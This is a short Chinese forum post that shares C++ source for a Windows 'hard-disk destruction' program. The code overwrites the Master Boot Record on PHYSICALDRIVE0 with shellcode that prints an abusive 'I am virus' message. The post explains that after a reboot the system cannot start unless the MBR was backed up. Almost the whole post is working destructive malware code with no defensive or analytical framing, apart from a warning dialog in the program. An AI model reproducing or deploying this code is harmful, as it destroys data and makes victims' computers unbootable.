C++ 硬盘毁灭代码相当于硬盘锁吧

by **cyjian** December 13th 2014, 09:46

#include

#include

#include

unsigned char scode[] =//重启系统后的信息，可以修改成其他的任意字符串

"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"

"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"

"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int KillMBR()

{
HANDLE hDevice;

ORD dwBytesWritten, dwBytesReturned;

BYTE pMBR[512] = {0};

// 重新构造MBR

memcpy(pMBR, scode, sizeof(scode) - 1);

pMBR[510] = 0x55;

pMBR[511] = 0xAA;

hDevice = CreateFile

(

"\\\\.\\PHYSICALDRIVE0",

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE,

NULL,

OPEN_EXISTING,

0,

NULL

);

if (hDevice == INVALID_HANDLE_VALUE)

return -1;

DeviceIoControl

(

hDevice,

FSCTL_LOCK_VOLUME,

NULL,

0,

NULL,

0,

&dwBytesReturned,

NULL

);

// 写入病毒内容

WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);

DeviceIoControl

(

hDevice,

FSCTL_UNLOCK_VOLUME,

NULL,

0,

NULL,

0,

&dwBytesReturned,

NULL

);

CloseHandle(hDevice);

ExitProcess(-1);

return 0;

}

void main()

{

char str[]="确定要运行程序吗？\n本程序将会对电脑的MBR进行破坏使电脑不能进入系统！\n另外，本人还没学会恢复方法！";

if(MessageBox(0,str,"警告",MB_OKCANCEL+MB_ICONWARNING)==IDOK)

{

KillMBR();

}

ExitProcess(-1);

｝

运行本程序后，系统当时并无任何反应，但是一旦重启系统，则再也无法进入系统，因为系统分区表已经被破坏，除非提前备份MBR。或用相关专业知识恢复分区表。

C++ 硬盘毁灭代码 相当于硬盘锁吧